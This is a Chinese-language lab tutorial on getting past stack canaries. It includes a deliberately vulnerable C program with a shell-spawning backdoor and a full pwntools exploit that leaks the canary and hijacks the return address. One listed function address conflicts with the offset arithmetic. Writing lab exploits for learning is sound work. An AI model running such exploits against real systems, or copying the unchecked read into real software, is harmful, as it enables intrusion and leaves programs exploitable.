在基本的栈溢出中,我们可以通过没有限制输入长度或限制不严格的函数等向栈中写入我们构造的数据,可写入的数据包括但不限于:
一段可执行的代码(关闭NX
防护的前提下)
一段特意构造的返回地址等
......
传统的防御机制之一就是开启 Canary
防护,该机制会向我们运行程序的栈底放入一串8字节的随机数据,在函数即将返回时会验证该数据是否发生改变,若发生改变则说明栈被改变了,直接call
进__stack_chk_fail
。验证成功则跳到leave 和 ret
正常的返回。
直接获取栈中canary
的值
若该程序会输出我们输入的字符串,则可以在输入数据时估计超出输入的限制1字节,由于C字符串是以'\0'
结尾的,我们多输入的1字节就会覆盖'\0'
,在接下来的输出中,程序本身使用的输出函数没有限制输出的长度,就会将栈中位于所存数据高地址处的Canary值泄露出来,在接下来我们向栈中写入恶意返回地址的时候就可以将该值覆写回去,验证成功。
获取fs:28h
中的canary
值
通过观察汇编代码,我们可以发现每次运行程序产生的随机canary
值都存在fs:28h
中,接下来会将该值放入EAX
中再mov
进程序的栈空间内。
mov rax,fs:28h
mov [rbp-8],rax
所以若程序中存在任意读的功能的函数,就可以直接读取该地址中的值即可。
逐字节爆破canary
值
其余的利用方式由于没有碰到,所以暂时不说,后续遇到了会进行补充。
我们接下来用上述所说的第一种方式来尝试绕过一下canary
值的校验。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_LENGTH 100
void init()
{
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
}
void backdoor()
{
system("/bin/sh");
}
int main()
{
char buf[10] = {0};
init();
printf("[DEBUGING] main: %p\n",main);
printf("Hello,What's Your name?\n");
read(0,buf,MAX_LENGTH);
printf("%s",buf);
printf("Welcom!\n");
printf("But wait,WHO ARE YOU?\n");
read(0,buf,MAX_LENGTH);
printf("I don't know you,so bye ;)\n");
return 0;
}
对应的makefile
语句。
OBJS=pwn_1.c
CC=gcc # 默认就为gcc
CFLAGS+=-fstack-protector -no-pie -g
pwn_1:$(OBJS)
$(CC) $^ $(CFLAGS) -o [email protected]
clean:
$(RM) *.o # 可不加
之后直接make
即可,记得将源文件命名为pwn_1.c,
之后gcc
可能会提示报错提示read
函数可能存在溢出的可能,不用理会。
记住头文件的引用,由于使用的read
等系统调用函数,所以要进入 Unix标准库unistd.h
。
之后我们checksec
该文件确保其开启了canary
防护机制。
Canary found
确认开启
通过观察代码可以多看到我们代码中是有一个等待被我们利用的函数backdoor()
的,所以我们的目的实际上就是在main
函数执行完毕之后返回到该函数中,那我们势必就要计算出该函数与main
函数偏移之间的关系,这样在装在后既可以通过基地址与偏移量的差值找到backdoor
函数的地址。
objdmp -d pwn_1 -M intel
-d 反汇编
pwn_1
中的需要执行指令的那些section
-M 因特尔风格显示汇编代码,这样更贴近我们常见的汇编风格
通过查看源程序(若无法获得源程序可以最简单的通过其行为判断),发现其规定read
的最大长度为MAX_LENGTH 100
,而其buf
空间只有10
,所以确认存在栈溢出。
由于接下来的实验的截图不是来自一次完整的流程,而是反复执行为的是更加详细的显示整个流程,所以可能存在前后地址/值不一样的情况。
首先我们显示用objdump -d pwn_1
确认其.text
段中main
函数和backdoor
函数的偏移量。
此处 (就不补0了)
main()
的地址为0x401237
backdoor()
的地址为0x401237
但对于backdoor()来说,由于前两条指令是为了保存之前的栈状态,初始化当前栈空间的,所以我们并不需要,在计算偏移量的时候直接:0x401237 - 0x401225
即可。
接下来我们将其应用到最终的脚本中,获取实际backdoor()
的地址。
from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('./pwn_1')
# 暂停执行直到我们回车
raw_input('PAUSE')
# 将mian: 前的字符全过掉
p.recvuntil(b'main: ')
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
# 将算出的地址输出给我们看一下
log.info("The backdoor address is :" + hex(backdoor))
由于程序中输出了main()
函数的地址,这样就无需再另外获取了,直接接受%p
表示的地址即可
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
用接受到的main()
的地址,减去刚刚计算的偏移量,就是进程中backdoor()
的地址。
由于我们的源程序会以字符串的形式输出们输入的内容,而如前面所说 C 字符串是以'\0'
结尾的,所以我们只要构造第一个read
的数据长度为10 + 1
即可覆盖最后的'\0'
,从而将后面高地址处的canary
值也输出。
光说不练假把式,先来看一下我们的脚本:
payload = b'a' * 11
p.sendafter(b'?',payload)
p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)
# 向控制台输出日志
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
第一个问题:为什么
canary = p.recv(7)
由于我们刚刚输入了11个字节,而buf
只有10个字节的大小,这样我们就可以向上覆盖,覆盖掉了canary
中的一个字节,同时可以读取到canary
剩余的7个字节第二个问题:
int.from_bytes(canary,byteorder='little')
写法含义
**将字符串对象转为整型 **小端显示
接下来为了方便观察所获的到的值确实是canary
的值,所以我们使用gdb
的attach
黏附到我们脚本打开的程序上,来观察。
使用方法 :attach + PID
(进入gdb
后)
之前我们多覆盖了一位,将 canary 的值低一位由0覆盖为了a,这里再拼接回来即可。到此为止,我们就得到了canary
值。
先拿来一块该程序的栈空间来观察。
第一个红色方框所圈区域,就是main
函数返回的上一个函数的地址(见第二个红色方框),所以我们只要能覆盖该地址即可。
为了覆盖该地址我们需要覆盖从buf
开始到该地址的所有空间,但其中存储着canary
的位置要将我们刚刚保存出的canary
再次放进去即可。
payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验
pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间
payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址
p.sendafter(b'YOU?',payload)
# 暂停执行直到我们回车
raw_input('PAUSE')
之后通过gdb
查看该进程发现。
成功写入。
from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('./pwn_1')
raw_input('PAUSE')
p.recvuntil(b'main: ')
# canary =
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
log.info("The backdoor address is :" + hex(backdoor))
payload = b'a' * 11
p.sendafter(b'?',payload)
p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验
pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间
payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址
log.info("The payload is :%x",int.from_bytes(payload,byteorder='little'))
p.sendafter(b'YOU?',payload)
p.interactive()